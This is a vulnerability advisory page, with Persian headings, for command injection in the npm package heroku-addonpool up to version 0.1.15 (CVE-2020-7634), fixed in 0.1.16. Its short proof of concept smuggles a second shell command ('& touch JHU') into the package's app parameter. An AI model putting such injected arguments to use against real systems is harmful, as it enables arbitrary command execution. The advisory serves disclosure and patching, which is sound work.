نسخههای متأثر
- نسخههای متأثر
- < 0.1.16
- نسخهٔ اصلاحشده
- 0.1.16
بهرهبرداری
شرح آسیبپذیری
heroku-addonpool through 0.1.15 is vulnerable to Command Injection. The second parameter of the exported function HerokuAddonPool(id, app, opt) can be controlled by users without any sanitization.
PoC
var Root = require("heroku-addonpool");
var root = Root("sss", "& touch JHU", {});
root.setup();
پیوندها
- https://github.com/advisories/GHSA-3q9x-w53p-jg53
- https://github.com/nodef/heroku-addonpool/blob/master/index.js
- https://github.com/nodef/heroku-addonpool/commit/b1a5b316473ac92d783f3d54ee048d54082da38d
- https://nvd.nist.gov/vuln/detail/CVE-2020-7634
- https://snyk.io/vuln/SNYK-JS-HEROKUADDONPOOL-564428

